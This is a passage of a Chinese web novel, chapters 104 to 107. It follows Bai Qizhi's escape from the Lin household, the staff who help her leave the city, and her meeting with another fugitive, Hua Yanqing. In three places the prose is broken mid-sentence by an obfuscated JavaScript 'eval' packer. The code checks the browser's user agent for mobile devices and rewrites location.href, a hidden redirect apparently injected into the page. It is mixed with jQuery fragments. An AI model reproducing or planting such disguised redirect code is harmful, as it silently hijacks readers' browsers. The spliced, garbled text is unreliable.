她这边打点好了，林听澜那处自有他慢慢磨。 沈忘尘知道林听澜平生最是疼他，倘若他用些苦肉计的话，林听澜肯定不会坐视不理，到时候他再劝说一番，事情也就顺水推舟。 他的一番心愿也算垂成。 “白小姐？”芍药难得尾调上扬，她摆出一副茫然的神色，淡声问道，“白小姐她方才不是已经来过了吗？” 听罢，沈忘尘和林听澜几乎同一时间抬眸相望一眼： 不好！！！ 104. 快逃 西厢房果然早已人去楼空。 除了桌子下紫红色的朱砂碎片外，白栖枝什么都没留下，什么都没拿走。 “她肯定还没有跑出多远！快追！”林听澜怒吼道，“必须把人给我找回来！” “是！” 深秋天凉。 白栖枝走在街上，谨小慎微地留意着身后有没有家仆追来，宽大的衣袍都被风撑开，活像一只脱了线的风筝，在街上快步行走着。 她仍过着如来从长平出来、到淮安之前的那种生活——什么也没带地来到了林府，什么也没带地逃出了林府。浑身上下都空荡荡，喘息着她那为自己搏来的大口大口的自由，以及忍受着心中那点子微不足道的钝痛，在风中肆意飘零。 白栖枝知道沈忘尘和林听澜不会这么快就发现她出逃的事实。 所以至少、至少让老天爷再给她留些时间，让她能再看一眼香玉坊的大家。 香玉坊内，众人还在欢呼雀跃，等待着白栖枝回来，大家好好凑在一起高兴一下。 蓦地，李素染感觉有一道目光射在自己身上。 她循着方向转头望，就看见白栖枝站在她曾窥视过香玉坊的那个小巷，紧咬着下唇，面色灰白地看着他们。 东家？ 李素染悄悄退出热闹的人群，独自朝白栖枝走去。 小巷的阴影内，白栖枝扶墙而立，看着李素染缓缓走来。 那人站在与她一线之隔的阳光下，见到她，一脸讶异：“东家，你脸色怎么看起来这么不好，是生病了么？”说着，李素染就要去拉她的手，“在这里站着做什么，坊里的大家还等着您回去呢，您……” 看着白栖枝抽离到身后的手，李素染愣了一下，随即心思通透，忙低声问道：“东家，怎么了？” “我要走了。”白栖枝的嗓子哑了一片。 李素染只听她努力安抚着颤抖的嗓音，佯装一脸平静道：“抱歉啊，庆功宴我可能是办不成了，就让大家去林听澜拿赏钱吧，此次诸位于林家有功，林听澜不会不发放奖赏的，就让大家去找他吧。” 说完，她转身要跑，却被李素染攥住手腕。 李素染听她这副交代后事的口气，心中一悸，刚要开口，就听着身后香玉坊门口处传来林家家仆的声音：“白小姐在么？大爷要请她回府，还请她快快出来。” 来者语气不善，一副要拿人的模样，随后白栖枝一脸惊慌，一副赶忙要逃的模样 李素染就算再傻也明白眼下是出了大事了。 她攥住白栖枝纤细的手腕，一把将她拽到暗处，用自己的身形将她严丝合缝地挡住，以免她被那些人看到。 “枝枝，告诉我，究竟出了什么事？” 此时此刻，她不再是白栖枝的下属，而是一位真正关心白栖枝的阿姊，她需要知道白栖枝回林家之后到底出了什么事，否则她也很难帮她。 “李阿姊。”白栖枝感动地几乎要落下泪来。 她努力让自己平静下来，一字一句有条不紊地简述着她在沈忘尘院子里听到的那些争吵。 “他们要囚禁我，他们要让我给他们诞下子嗣。可是阿姊，我不愿，我还有很多事没有做，我不想被困在林家的深宅大院里，我……” 肩头猛地被狠狠推搡一把，白栖枝话音戛然而止，惊愕地抬头看向李素染。 只见李素染冷着一张脸，从高处俯视着她，漆黑没有一丝情感的的瞳孔中正好覆盖了她张脆弱白皙的小脸。 白栖枝的心蓦地沉了下去——她就知道，就算她是香玉坊的东家，可这香玉坊到底还是林听澜手中的产业，她们没必要冒着被林听澜迁怒的危险帮她。 她们也是要生活的啊…… 白栖枝在苦笑一声，就在她准备被李素染抓回香玉坊后，耳边蓦地响起一声低呵—— “快走！” 白栖枝不可置信地看着李素染，只见她似是想对她笑一下，可紧绷的嘴角早就抿成一条直线。 她努力缓和下心情，对白栖枝暗道：“东家，快逃！” 说着，又赶紧推搡了白栖枝一把，催促道：“我要回去了，那些人见我这个店主不在店中肯定会起疑心的。你放心，此时我们几个肯定与您站在同一条线上，你不用管我们，快逃，逃得远远的，永远也不要回来！” 白栖枝忍了好久的眼泪“唰”地一下就下来了。 她抬起衣袖狠狠擦了擦眼泪。 “保重！” 说完，白栖枝转身朝着巷子里飞快逃去，她身影瘦小，一眨眼便隐没在人海里不见踪影。 李素染这才缓缓吐出一口气，朝香玉坊的门口处走去。 * “什么？不在？！” 林听澜简直要气极了：“你们确定坊内上下都仔细搜过了？她素来最看重香玉坊，怎么可能不回去看一眼？你们真的好好搜过了？！” 眼见大爷的怒火就要烧到自己头上，下属赶紧道：“搜过了大爷，别说香玉坊里头，就连香玉坊外的老鼠洞我们也一个都没放过啊。可白小姐、白小姐她真的没有去过香玉坊，也没去过云青阁，我们实在是找不到啊……” “废物！”林听澜猛地一踹，那人登时就跪了下来，伏在他面前颤颤，一副不知该如何是好的模样。 林听澜动怒道：“接着找！活要见人死要见尸，就算把整个淮安调个个儿来，也得把人给我找到！！！” “是。” 下属急忙起身离开，一时间，屋内只剩下林听澜和沈忘尘两人。 “没用的。”沈忘尘冷静道，“枝枝聪慧，她早就知道你要去香玉坊和云青阁搜查，肯定不会再去那两个地方，不仅不会去，甚至连其周边之处都不会踏入，你叫人去那两处搜寻，根本就是在做无用功。” 林听澜说：“那忘尘，你说应当如何？” 沈忘尘淡淡道：“按我说，你就应该将香玉坊的那些人抓起来，然后再派人散播消息，说因白栖枝失踪，香玉坊上下皆受惩处，为首几位都被抓回了林府，生死不知。枝枝素来最心疼他们，她们就是枝枝的软肋，倘若枝枝知道你把他们抓了起来，为了他们，她肯定会主动回到林家，到时候……” 到时候怎样呢？ 沈忘尘不说了。 林听澜看他的眼神像是在看一个陌生人。 林听澜骇异道：“忘尘，你怎么能说出这样的话来？你不一直说要以‘仁’待人么？你怎么会变成如今这幅心狠模样？你究竟怎么了？” 沈忘尘冷笑一声：“怎么了？”他左手握拳，狠狠垂在自己没有知觉的腿上，恶狠狠道，“林听澜，你说我怎么了？若不是为了你，当年我岂会甘愿被我父亲双腿、自断前程，永远囚在你这林家大院？你问我怎么了，好，那我告诉你！我不甘心！我不甘心！！” 多年来有意无意的哀怨堆积成满满的怒火，将沈忘尘的心彻底扭曲殆尽。 他像是发了疯，狠狠地垂着自己瘫软屋里的腿大吼道：“凭什么？凭什么那些当年还不如我的人能入仕做官？凭什么只有我一个人成了废人？凭什么只有我被囚在这深宅大院里困兽犹斗？！我不甘心！我才学过人，放眼当年，整个长平内谁人不知晓我沈忘尘的名号？可如今呢？如今，我就只能困在这院子里，守着我这副瘫软的身体，在你林家当一个无名无姓的妇人。你去问，现如今整个长平谁人还能知晓我沈忘尘的名号？谁还能记得当初那个驰骋诗场的天才？谁还能记得那个意气风发的沈忘尘？！” "林听澜，我恨，我恨我当年的鬼迷心窍，所以，我才选择了一步错，步步错，一败涂地，我不甘心！！！" 林听澜怔怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329524|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着沈忘尘，心底涌起阵阵寒凉之意，她忽然发觉，自己从未认识过沈忘尘。 “可是忘尘。”他气势一下子弱了下来，低声道，“你明明说过你不恨的。” “不恨？”沈忘尘几乎从牙缝里挤出字来，“我怎能不恨？我恨我自己的愚蠢，我恨自己的懦弱无能，我更恨我自己的无能！我不甘心啊！我不甘心！直到——”他话锋一转，忽地又露出些许痴迷的神色，无力地瘫倒在轮椅内，喃喃道，“直到那孩子到来，我才知道，原来我的魂魄是可以寄宿在另一个身体里的。” 说到这儿，他蓦地看向林听澜，“腾”地直起自己的脊梁，抓住他的手，如痴如狂、似疯似癫：“林听澜，你不觉得吗？那孩子和我好像，她和年轻时的我好像！” 他说：“我们是一样的，她有着同我一样的天赋，有着同我一样的心气。我想，只要我将她好好收在身边调教，她就肯定能成为下一个我，肯定能成为那个更年轻的我。所以，我把她要了过来，一字一句地教她诵读书本，一日一日地为她讲述经文。她很聪明，她理解的很快，甚至她有许多的想法都同我不谋而合。林听澜，你知道吗？我许久没有见过像她这样的可塑之才了，我想，我要困住她，我一定要困住她，这样她才能乖乖留在我身边，延续我的血肉精魂，让那个年轻的我在她的肉身里用存！” “我不可能放弃这个机会的！”说到这儿，沈忘尘语调骤然高升，他一向苍白的脸颊甚至因为激动而泛起了血色，越发奋力地握住林听澜的手，癫狂道，“要知道，那孩子身上有我的影子！倘若我真能将她培养长大，那就意味着我也可以将年轻时的自己栽培长大——要知道，这是一件多么难得的事啊——这天下泱泱万万余人中，谁又能像我这般幸运，竟能得此机缘？将自己亲手培养长大？所以、所以我要把她困在身边培养长大，哪怕让她代替我陪在你身边也好。我要让她一直陪在你身边，让她陪你一同走出去，一同扶持着向外闯，这样就算我不能亲自陪在你身边，可光是如此远远看着，我也算是了却心中最大的一处心结。” “林听澜，你要帮我，你一定要帮帮我！我不能失去这次机会，我真的不能失去这次机会——” “我不能真成一个废人……” 他已然疯魔，说着这些颠三倒四的胡话，垂下头颅，如一个孩童般无助地哭泣着。 他的手指微微收拢，素来没什么力气的手指竟能将指甲深深陷进林听澜掌心中，在他手心掐出下一道道紫青色的月牙，用力之大，以至于骨节泛白，浑身发抖。 疼痛感在林听澜手心蔓延，却无法抵挡住他心里翻江倒海般的震撼。 ——疯了。 这是林听澜心里唯一生出的想法。 看着宛若失心疯一般的沈忘尘，他慢慢地、轻轻地搂过他的肩，将他的头颅埋入自己的颈窝，感受他泪水濡湿衣襟的凉意。 “忘尘……” 林听澜眼窝湿红，开口，对沈忘尘认真地吐一句铿锵有力的话： “你从来就不是废人。” 他说：“你从来都不是废人。你是永远我心中那个光风霁月的沈忘尘，永远是那个纵横长平诗坛的沈二。你放心，没有人会忘记你，没有人能忘记你，你只是……只是太寂寞了，才出了这等幻觉。我保证，从今以后都会陪在你身边，一直陪在你身边，好不好？” 寂寞…… 这两个字刺痛了沈忘尘的心脏。 或许林听澜说的对，他只是太寂寞了。 若非如此，他也不会这般执着，执着到生了心魔也未曾察觉。 是他做错了，是他执意要将自己的执念移到那孩子身上，才做出了这么多错误的决定。 他对不起林听澜，也对不起那孩子，他甚至…… 也对不起那个年轻时候的自己。 105. 出城 这几日，白栖枝活得好像过街的老鼠。 林听澜发动了林家所有家仆找他，大街上不能去，小巷里不能去，乞丐窝里不能去，香玉坊旁更是不能去。 白栖枝每天都在躲、每天都在躲！ 仓皇逃窜间，她甚至能看见林家人张贴寻人的告示，上面画着她的画像，眉心那一点红痣格外引人注目。 白栖枝没有办法，夜里，她偷偷用石头把木簪磨尖，掐着剜着，将自己眉心间那颗她素来引以为傲的红痣除去。 鲜血顺着额头爬了满脸，白栖枝的眼前被鲜血模糊成血红色的色块。 她来不及疼，只用袖子将血一擦，匆匆朝街角阴暗处逃离。 今天是白栖枝出逃的第五天，这几天来，她都没有好好吃上过一顿饭，草根可以吃，泥灰可以吃，就连街角别人不要的爬满虫子的烂菜叶也可以勉强用来裹腹。 她实在饿的受不住。 夜里，四下无人，白栖枝又偷偷从阴暗处逃出，用不知从哪儿捡来的烂布裹着脸，做贼似得跑到集市上去捡白日里没人要的烂菜叶。 人在活命时顾不上其他。 白栖枝捡起地上被人踩烂成泥的白菜帮一个劲儿地往嘴里塞。 杂乱的脚步声从远处传来。 白栖枝赶紧起身逃离。 “东家！” 悠长的一声唤迫使白栖枝驻足。 来者正是香玉坊的大家。 大街上，众人远远望着白栖枝瘦小脆弱的身影。几日不见，东家越发清减了，原本白皙的手腕此时甚至不及桅杆粗细，灰扑扑的，上面布满紫青色的淤痕。 “东家……”大家没忍住，登时落下泪来。 哽咽的声音传到白栖枝耳畔，她也好想留下来，但她毕竟是个祸患，留下来除了害了大家什么都做不到。 她什么都做不到。 白栖枝只怔忪了刹那就又要逃离，背后却传来李素染急切的声音：“东家，别跑了，我们是来给您送行的。” 经李素染一皆是，白栖枝才知道，自她回去后便一直悒悒，后来香玉坊打烊，她才敢将这事儿告诉紫玉他们。 众人登时心急如焚。 东家对他们的好他们是看在眼里、记在心里的，此时东家有难，他们岂能坐视不理？ 于是，待到众人都同林家拿了赏钱后，他们几个便开始寻摸白栖枝的下落，想要帮她逃离淮安城这个是非之地。 “可我又不是什么好人。”听李素染说完，白栖枝惨然一笑，从他们面前抽离开来，“你们知不知道，当年你们受的那点苦都是我一人所为？是我——” 她看向李素染，漠然道：“当初是我想要收拾你，是我设计逼走你，是我当初叫钱有富折磨你。纵然如此，难道你还想要救我么？还有，”继而又看向紫玉，“你来林家的那次，全都是我一人做戏，是我故意往自己身上浇极凉的井水，伪装成风寒，又摆出一副柔弱可怜的模样同你徐徐图之。你们身上的灾祸都是由我一手策划，纵然如此，你们还像救我么？” 白栖枝自知此话说出，众人恨不得将她立即绑到林听澜手上，让她受尽折磨。 可不想再看大家一副认为她就是救世主的模样，她就是个低贱又卑劣的人，她根本不值得他们对她这样好。 见众人愣在原地，白栖枝转身想跑，却蓦地被人拉住手腕，回头，就见李素染拿出先前给她准备好的包有干净衣裳的行李。 “从前之事有何好论？”李素染说，“要是放在当时，我肯定会气得火冒三丈。可是现在不一样了，枝枝，你对我们的好，对香玉坊的好我们都看在眼里，无论你此前做了什么样的事，今时今日，我们大家都一直站你这边。” “是啊，从前的事又有什么好说的？”紫玉拿出手帕擦了擦她脏兮兮的小脸，仔细帮她戴上围了纱幔的斗笠，“一会儿莫伯会赶马车到香玉坊后门处，到时候枝枝你不要做声，就这样跟我们走，没人会发现。” “小姐你放心。”春花赶忙道，“大爷今日没有命人守在香玉坊里，此时四下无人，正是逃跑的好时机，等到马车上，您就换一身干净的衣服，快快逃走，除非日后功成名就，否则您再也别回来了。虽然我们是会想您，可比起您平安，我们怎样忍都值了。” “大家……”白栖枝登时落下泪来。 可现在没时间让她哭，她赶紧擦了擦眼泪，随着大家偷偷回到香玉坊后门。 一切进行得格外顺利。 莫伯赶着租来的马车准时抵达香玉坊后门，李素染、春花、紫玉同他一起上马车，莫当时则被安排在店里守着，有什么情况全靠他来周旋。 城门处有人把守，被叫停的时候众人的心都提到嗓子眼儿里，好在莫伯怎么说都是林家的老人了，又在香玉坊做了这么多年，编出的答案滴水不漏，李素染也趁机拿出自己香玉坊店主的手牌。守城的士兵翻来覆去地看了好几眼，莫伯适时递上一袋银子，众人就这样被放走了。 城门外，众人下马车，送到不能再送处，大家都红了眼叫白栖枝快走，不要被林家人抓住，说完转身就走，不敢有一丝停留。 “诸位。” 背后传来白栖枝脆生生的一声，众人昏头，就见着白栖枝郑重地用膝盖猛地锤在地面上，“今日之恩，我白栖枝没齿难忘，日后若我功成，定会好好报答！” 说完，白栖枝直得跟木棍似得腰弯下，伏在地上重重同众人磕了个响头。 大家的眼泪登时“刷”地一下落下。 他们转回身去—— “快走！” 马车渐渐驶回城中，白栖枝从地上起身，飞速朝远处奔去。 淮安城外离得最近的就是兴孝村。 白栖枝会逃去找蔚元柳么？ 面对林听澜的询问，沈忘尘笃定道：“不会。” 他比任何人都了解那孩子，她怕给身边人带来麻烦，她不会去找任何人帮忙，更何况是与香玉坊有关的那些人。 屋内一片沉默。 沈忘尘从书架上吃力抽出一本书。 书册脱离木架的瞬间，一张轻飘飘的纸片也随即落下。 沈忘尘想弯腰去捡，在木轮的阻挡下，他有心而无余力。 林听澜将那张纸片捡起打开，上头是写着的是白栖枝的笔迹。 “拜托了林哥哥，暂借笔墨纸砚一用。白栖枝留。” 在这行下方簪花小楷的下方，白栖枝还用画上了自己哭哭拜托的样子，寥寥几笔笔便勾勒出她古灵精怪的小模样，令人忍俊不禁。 林听澜将这张纸递给沈忘尘看，说：“这是那年年初她出去摆摊前留给我的字条， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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府内，小白鸟总是喜欢做些令人不可思议的事，他总能在她身上找到了自己当年的影子。 他想，倘若他将这只小白鸟养大，让她被他身后的阴影所覆盖，那是不是也意味着自己的血脉会也在她身上重生？ 抱着这样的想法，他小心翼翼地饲养着小白鸟，他一直担心小白鸟会看穿他卑劣的内心后弃他而去。 可是没有，这只小白鸟很单纯，看不出他对她怀着龌龊的心思，甚至总会红着眼睛说心疼他。 呵，真是好笑，怎么会有人自己惨成这个样子还说会心疼他？ 可小白鸟总是一副情真意切的模样，倒叫他摸不清她是真的在心疼他，还是在嘲讽他。 他想，可怜她不是男子，可恨她不是男子。她终究成不了年少时的他。 所以，在这只小白鸟偷偷飞走后，他想着，就这样让她逃吧。 逃吧！逃吧！ 用尽浑身解数去逃，逃用尽从他这儿学来的法子去逃。 他希望她逃得远远的，再也不要被他捉住。 小白鸟拙劣地逃走了，一连五天都没有回来。 沈忘尘想，倘若他如此放水小白鸟都逃不出他的手掌心，那就说明他们天生就是该绑在一起的人。 ——他们天生就该纠缠争斗下去。 106. 言卿 逃亡。逃亡。 白栖枝感觉自己这大半辈子都在逃亡。 她自由了！她想，她自由了，她又该去哪儿呢？ 白栖枝蹲下脚步，迷茫了。 人生第一次逃亡，她知道她要到淮安去，要到林家去；可人生第二次逃亡，她却没了方向，只剩下一片迷雾不清的虚妄。 活在这世道上的人都知道，一眼看不到头和一眼看得到头其实是一个意思。 白栖枝既看不到头，也看的到头：轻则一直流浪，重则丧命异乡。 白栖枝不知道自己该是何种下场，她只能一直走、一直走，喘息着她那为自己博来的致命的自由，去往不知名的远方。 天黑得能渗出墨来。 黑暗如烟雾般散落进树林的每个角落，唯有天上一线月明倾落才叫人勉强看得清前路。 林中多荆棘，白栖枝小心躲避，可干净的衣服难免还是会剐蹭到树刺，等到她越过那一丛丛的荆棘，身上的衣服早已被划破好几处，伤口渗出血来，污了一片的衣料。 白栖枝有些后悔在马车上换衣服了。 她本就是逃命之徒，穿得干净也没用，反倒糟蹋了好东西。 不远处有个破落茅草屋，上头的茅草几乎被吹散，四处都生了极长的野草，一看就很久没有人打理了。 山远路遥，白栖枝打算在这里暂时歇脚， 至于后面如何，反正她时间多的是，休息后再做打算也不迟。 夜里又起了风。 秋风飒踏，卷起茅草冲天起，连带着月亮前的浓云也被吹散。 屋内没有动静，看着面前关紧的柴扉，白栖枝长长呼出一口气，将门推开。 “啊！” 门开的刹那，屋内传来一声短促又清脆的轻呼，随即，一名同样落魄的少女扭过头来，朝门口的方向望。 白栖枝静静的看着——月光朗朗，照耀在少女的身上，为她镀上一层霜雪似得银光。 在看到白栖枝面容的刹那，少女瞳孔一震：“枝……” 尾音未落，她忽地戛然而止，朝白栖枝露出一个温柔清浅的笑容：“你好，我叫花言卿。” 白栖枝不止一次从别人口中听过这个名字。 花言卿，先国子监花直讲之子，花老太傅之孙，也是御史大夫李德义李大人口中那位久住东宫的准太子妃。 可她为什么会在这儿？ 况且，她刚才差点就唤出自己的闺名，难道自己以前同她有过什么交情？ 白栖枝暗暗地想。 风声渐息，她看向花言卿那双黑曜石般明亮的瞳仁。 她该如何形容那双眼呢？像月华，像星光，世上万千宝石都不如她这一双眼清澈明亮，尤其是眼底那抹浅浅的笑意，那是她这辈子都无法伪装出的温柔善良。 光凭着这个眼神，白栖枝瞬间放下心防，她缓缓走向花言卿。 “我叫白栖枝。”她说，却不敢靠近花言卿半点，“先书画院翰林待诏白纪风之女。” 她总是喜欢一长串地报出阿父的名号，仿佛这样，就能有人为她撑腰。 花言卿想了一会儿，才记起白纪风这个名号。 白家惨案惊动朝野，但所有人都不约而同地匿下此事，装作一副未曾听闻的模样，生生地避着，生怕上头争斗的怒火烧到自己头上。 “白栖枝。”花言卿将这个名字在唇齿间呢喃了一番，忽地起身，坐到她身旁挨着她，轻声问道，“你怎么会在这里？” 奇怪的是，白栖枝并不对她这幅亲昵的举动有任何不适，就好像两人以前是闺中密友一样，相互依着臂膀。 这话应该是她先问才对。 白栖枝想，却没有说，只是将缘由简明扼要地说了下，又反问她道：“花小姐又为何会在此地？” 花言卿暗下眸子说：“我祖父被赐死，陛下正派人捉我，我没有办法，只能一路逃亡。我自小就没有出过皇宫，也不知道该往哪逃，不知不觉就跑到了这里。我实在太累了，见这里有个废弃的茅草屋就躲了进来想着休息一晚，结果刚坐下没多久，枝枝你就来了。” 说完，她肚子咕噜一声响，尴尬得她俊俏的小脸浮起一层红云。 “给你。”白栖枝从怀中拿出春花在马车上给她塞的白面饼子，那是她在逃亡路上的口粮。 不顾花言卿的推辞，白栖枝将面饼摆成两边，拿在手里比量了一下，将大的那半送到她手中：“吃吧，我手有点脏，你把灰担担在吃。”说着，自己咬了口小半面饼，开口，“花小姐。” “花花。”花言卿蓦地道，“其实叫卿卿也可以，但是我更希望你可以叫我花花。” “嗯，花花。” 两人依偎在一起，一口口地咬着白面饼子，像相处了很久的好友一般，有一搭没一搭地聊着话： “花花，你接下来打算去哪？” “不知道，枝枝你呢？” “我也不知道，也许会去一趟神女庙，虽然陛下现在不再推崇神女，但民间还是有一些在信的，我打算去庙里看看，看看有没有人供奉吃食，带走一些路上吃。” 不是白栖枝不敬神女，只是她现在实在是走投无路了。 世上的帝王总爱造神又推翻，但即使是这样，神仙们都没有降罪于他们，更何况还是还有有“割骨奉肉济苍生”美名的神女大人？ 她只是拿一点点贡品而已，神女大人不会怪罪她的。 说完，白栖枝又看向花言卿，问：“花花你呢？你要跟我一起走吗？” 一个人的旅途太过孤寂，但是两个人的话就刚刚好，反正她们现在都是相同的境遇，路上一个伴儿也能换岗放哨，总比一个人逃亡要安全得多。 不过话刚说出口，白栖枝就有些懊恼：像花言卿这样的人，怎么会想和自己一起走呢？她们各有各的路要走，没准儿人家压根儿看不上自己的路呢？ “好啊。”出乎意料的，花言卿一口答应下来。她咽下口中那块面饼，笑盈盈地说道，“到时候枝枝你去拿贡品，我就在外面帮你放哨，有人来的话我第一时间拽住你就跑，肯定不会让你落到坏人手里的！” 一瞬间，白栖枝就知道，这人和自己是一样的——她终于不用装作一副成熟的模样，终于不用再不停地与人斗心眼——她们才是真正的同类。 “好。”白栖枝脱去那副假装冰冷疏离的模样，豪气地说道，“到时候花花你想吃什么就跟我说好了，我从小就跟我阿兄偷拿家里的蜜饯吃，不过是几个贡品而已，我一准儿可以拿到！” 花言卿也忙不迭地点头：“嗯嗯！虽然我可能体力跟不上，但是我可以帮忙规划逃跑路线，一准儿让他们找不到！” 白栖枝当即提议道：“那就这样说定了，我负责拿东西，花花你负责带我跑，路上的话我们就轮流放哨，有人来我们就跑，这样他们肯定抓不到我们的！” “嗯嗯嗯！”花言卿点头如捣蒜。 接下来的几天，如白栖枝所说般，两人作伴在路上，轮流放哨，时不时还会分享一些自己所知所学的东西。 花言卿的想法格外朝前，很多东西白栖枝没听过也没见过，这时候花言卿就会随便捡一根树枝在地上给她画，好在白栖枝脑子足够聪明，看着图纸听着花言卿的解释便能明白，随即又用树枝帮她将图纸再添上几笔，所画之处，跟花言卿所说的细节不差分毫。 除了这些精巧的小玩意儿外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346195|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，两人又谈了些关于天下事的见解。 花言卿总能说出些很奇特的想法，白栖枝静静听着，跟着她的思路一起分析，竟发现两人的想法有好几处不谋而合，便叽叽喳喳地跟她分享着自己的想法。花言卿总说她的想法才是最完备最符合时代的，而自己所知的那些东西总是太过激进，一点都不符合历史发展的潮流，很容易失败。 什么叫符合时代？什么是激进？什么被唤做历史发展的潮流？ 白栖枝是第一次听到这些词，总觉得很新奇，觉得花言卿不愧是宫里长大的人，竟能知道这么多。 果然人往高处走，水往低处流，还得是见过大场面才能有大见识！ 可是…… 她又该怎么往高处走呢？ 在吃那些从神女庙偷来的供果后，白栖枝一直神情悒悒，一副很迷茫的样子。 花言卿问她，她便将自己的迷惘尽数说出来。 花言卿只对她说了一句话： “枝枝，假若命运是既定的，你我都只是史书上寥寥几笔所勾勒的人的话，你还会为自己的命搏上一搏吗？” 她说这话时神情很不对劲，白栖枝不知她是怎么了，但心脏总有一种预示着将要别离的隐痛。 “如果命运是既定的话。”她说，“那我也要在这个定数量为自己搏得一条更好的路。” 白栖枝顿了顿，继续说到：“其实当年在林府的时候，我阿父与人喝酒，那些来来往往的人中总有几个喜欢醉酒时撕心裂肺地喊上一句‘老天待我何薄’。但是，我其实一点也不理解，难道他们这么喊上一句老天就真能待他们好些么？还不是得自己搏。”她咬上一口脆生生的果，“况且史书上那寥寥几笔也不足以概括我的全部吧，毕竟哪有人能事无巨细地跟着我，记录下我每天的一举一动？所以，就算是定数，里头也难免藏着几分变数，倘若殊途同归，我也要选择最舒服的那条。我不会和自己过不去。” 说完，白栖枝想了想，难免还是会害怕：“花花，你说，我们的命会很不好吗？” “不会，会很好，只是过程会有些许曲折罢了。”花言卿笃定道，随即，又柔下嗓音道，“枝枝，过了今夜，我便不逃了。” 白栖枝惊讶地看向她。 花言卿道：“按时间，他们快要找到这里了，我不逃了，我逃不掉了。你说得对——”她笑了笑，眉宇间不知怎么竟有一副将要赴死的爽朗，“既然命运是既定的，我也要选择最舒服的那条。如果我终究还是要被捉回去，那不如就这样静静等待着那个结果来临，也免得白费力气。” “可是花花，你会死的！”白栖枝着急道，“我不是那个意思，我……” 花言卿说：“我知道，但我不会死，你也是。枝枝，你不会死，我们都不会死，还有很多事等着我们来翻覆呢，事情尚未做完之前，我们都不会死。” 白栖枝不明白花言卿在说什么。 花言卿道：“如果我没记错的话，白家惨案尚未昭雪，虽然不能说太多，但是我可以很负责的告诉你：枝枝，你会为家族平反冤案的。四年之后，你会成为一个很厉害的人，我也是，我们会厉害到那些曾发生在我们身上的事，在千年之后依旧会被人寻到，被人从古书中拿出来津津乐道。不过在此之前——” 她提了一口气，缓缓呼出，露出个惨烈的笑容。 “我们都要回到曾逃离出来的地方去。” ——快走，这辈子都不要回来！ ——我们都要回到曾逃离出来的地方去。 两道掷地有声的声音在白栖枝耳畔炸开。 是啊，她只有这两条路呢，要么逃离，要么回去。 除此之外，她别无选择。 107. 找到 白栖枝目光下移，就看到花言卿的手正在流血。 “你的手流血了！”她说着，用牙从衣服上撕咬下一条，“我给你包扎一下。” 花言卿说：“没用的，我有凝血功能障碍，就算包扎也未必会好。” 白栖枝不懂什么叫做“凝血功能障碍”，花花嘴里总是会蹦出一些她没听过的词汇，但这并不影响白栖枝给她包扎。 布条层层绑在花言卿纤细的手腕上，不一会儿就被浸了个透。 “我去看看这附近有没有什么草药。”白栖枝起身要走，却被花言卿拉住手腕，“没有的，除非它自己想愈合，否则什么都没有用。”她说，“枝枝，再陪我待一会儿吧。” 那天晚上，两人像两只小花枝鼠一样，紧紧地依偎着，躺在一起看星星。 白栖枝躺在花言卿的平坦的小腹上，说自己的家人都变成了星星，在天上看着她。 她还说，花花，如果你是月亮，那我就是星星，等以后再次相逢，无论想做什么，我们都可以一起做。 花言卿只是笑，然后，她将每个星宿指给白栖枝看，告诉她它们名字。忽地，白栖枝问她道：“花花，你被捉回去后，会被陛下赐死吗？” 花言卿帮她摘没入发内的杂草：“不会，顶多就是将我囚禁在宫里。自大昭建国时，柳花便为一家，花家颖悟绝人，又与柳家亲睦，历代无论男女皆任帝师，而如今门阀未绝，除却花家，柳家无人可信——他们离不开花家。”说到这儿，她摘草的手顿了一下，才继续说道，“如今我祖父已死，帝师的名头本该落到我阿父头上，可惜我阿父在我尚未出世时便沉疴而亡，膝下只有我一女而已，所以倘若柳家不想无以为继，就该派我做下任新皇帝师。” “太子吗？”白栖枝翻了个身，看向花言卿，“我在家中常听闻花花你与太子自幼一同长大，青梅竹马，就连李御史都经常谏言应让你太子妃呢！” “不可能。”花言卿忽地撇过脸去，“柳花两家素来不得通婚。” “为什么？”白栖枝讶异道。 花言卿长长吐了口气，说：“大昭立国前，便得一谶，谶言说：若想大昭国祚安稳，柳花两家历代不得通婚，否则花家六世而亡。昔高祖与我先祖本在营州相识，两人伉俪情深，一度欲赤绳绾足，但此谶言一出，我先祖便退而转做帝师，自此两人再无缘分。” 白栖枝是知道这件事的，据野史传，高祖柳无咎与帝师花元贞本是天造地设的一对儿，但立国之后，花元贞不知为何弃高祖而去，转而嫁与他人。高祖无奈，只能破矩封花元贞为开国女帝师，甚至令花家子嗣无论男女，皆传花姓，这才将人留在身边以做御用。 没想到，这其中诸多变故竟是源于一句谶言。 白栖枝掰着手指头数一数，竟悚然发现，自开国之初至今时今日，花言卿已为花家第六代子孙。 倘若谶语当真应验，那花花她…… “没事的，不会应验的。”像是看出白栖枝的担忧，花言卿温声道，“枝枝你放心，倘若我此次回宫尚能有一息尚存，待新皇登基，我定会竭力劝其清理那些世家大族，这样枝枝你家中便能昭雪了。” 白栖枝光从她这一句轻叹便切中要害—— 她家竟是因世家大族争权夺势才惨遭灭门？ 是谁！ 